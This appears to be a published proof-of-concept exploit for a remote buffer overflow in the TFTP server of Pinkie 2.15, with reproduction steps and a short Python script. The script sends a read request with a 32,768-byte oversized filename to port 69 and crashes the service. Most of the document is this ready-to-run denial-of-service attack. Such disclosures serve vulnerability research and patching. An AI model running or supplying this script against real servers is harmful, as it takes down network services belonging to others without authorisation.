Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC)

# Exploit Title: Pinkie 2.15 - TFTP Remote Buffer Overflow (PoC)
# Discovered by: Yehia Elghaly
# Discovered Date: 2021-11-19
# Vendor Homepage: http://www.ipuptime.net/
# Software Link : http://ipuptime.net/PinkieSetup.zip
# Tested Version: 2.15
# Vulnerability Type:  Buffer Overflow (DoS) Remote
# Tested on OS: Windows XP SP3 -  Windows 7 Professional x86 SP1 - Windows 10 x64

# Description: Pinkie 2.15 TFTP Remote Buffer Overflow

# Steps to reproduce:
# 1. - Download and install Pinkie 2.15
# 2. - Start TFTP Server listening on port 69
# 3. - Run the Script from remote PC/IP
# 4. - Crashed


#!/usr/bin/env python3

import socket

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

read = (
    #Request - read
    b'\x00\x01'  #Static - opcode
    + b')' * 32768 +  #String - source_file (mutant, size=32768, orig val: b'File.bin')
    b'\x00'  #Delim - delim1
    b'netascii'  #String - transfer_mode
    b'\x00'  #Delim - delim2
)
sock.sendto(read, ('192.168.1.207', 69))
sock.recv(65535)

sock.close()